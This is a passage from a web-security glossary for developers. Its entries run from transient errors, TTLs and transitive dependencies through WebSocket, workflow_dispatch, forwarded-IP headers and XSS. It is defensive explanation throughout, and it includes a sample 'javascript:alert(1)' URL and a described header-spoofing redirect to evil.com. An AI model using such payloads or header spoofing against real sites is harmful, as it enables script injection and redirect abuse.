Transient: temporary, worth retrying (offline, 5xx, 429). Terminal: final (session revoked).
In practice: Treating transient errors as terminal logs out every user during a short outage.
Identity and login →
Transitive dependencies
Dependencies and advisories
Packages your packages depend on. You never installed sharp, form-data or ws directly; Next.js and axios pulled them in. You still ship them and their bugs.
Shipping safely →
TTL (time to live)
Tokens
How long something stays valid.
In practice: Pick TTLs on purpose and write them down: access token, refresh token, cookie Max-Age, idle timeout.
Identity and login →

U

Unsafe URLs (javascript:, non-https)
Attacks that run in the browser
A URL like javascript:alert(1) runs code when navigated to. React escapes text, but it does not check URLs passed to window.open, location or iframe src. Any URL coming from a backend or third party should pass an https and host check.
Attacks and defenses →

W

Web Locks API
Browser
navigator.locks: a lock only one holder can have at a time, across all tabs of a site.
In practice: Serializes refreshes across tabs. Supported in all current major browsers.
Identity and login →
WebSocket
HTTP
A long-lived two-way connection between browser and server.
In practice: Browsers can't set an Authorization header on it, so tokens often travel in the URL or the first message.
Identity and login →
workflow_dispatch
Secrets and the deploy pipeline
A trigger that lets someone run a workflow manually from the GitHub UI or API, on a branch they choose. Useful, but combined with repo-level secrets it means 'any branch can run with prod credentials'.
Shipping safely →

X

X-Forwarded-For and CF-Connecting-IP
Attacks on the server
Headers that carry the real client IP through proxies. X-Forwarded-For is a list each proxy appends to, so its first entry is whatever the client wrote. CF-Connecting-IP is set by Cloudflare and trustworthy only if the request really came from Cloudflare.
Attacks and defenses →
X-Forwarded-Host
Attacks on the server
A header telling the app which hostname the user typed. If the app uses it to decide behaviour or build redirect URLs, a client can lie: claim to be the staging host on production, or make redirects point to evil.com.
Attacks and defenses →
XSS (cross-site scripting)
Attacks
An attacker gets their JavaScript to run on your page, with all the power your own code has.
In practice: The threat most browser token-storage decisions are about.
Identity and login →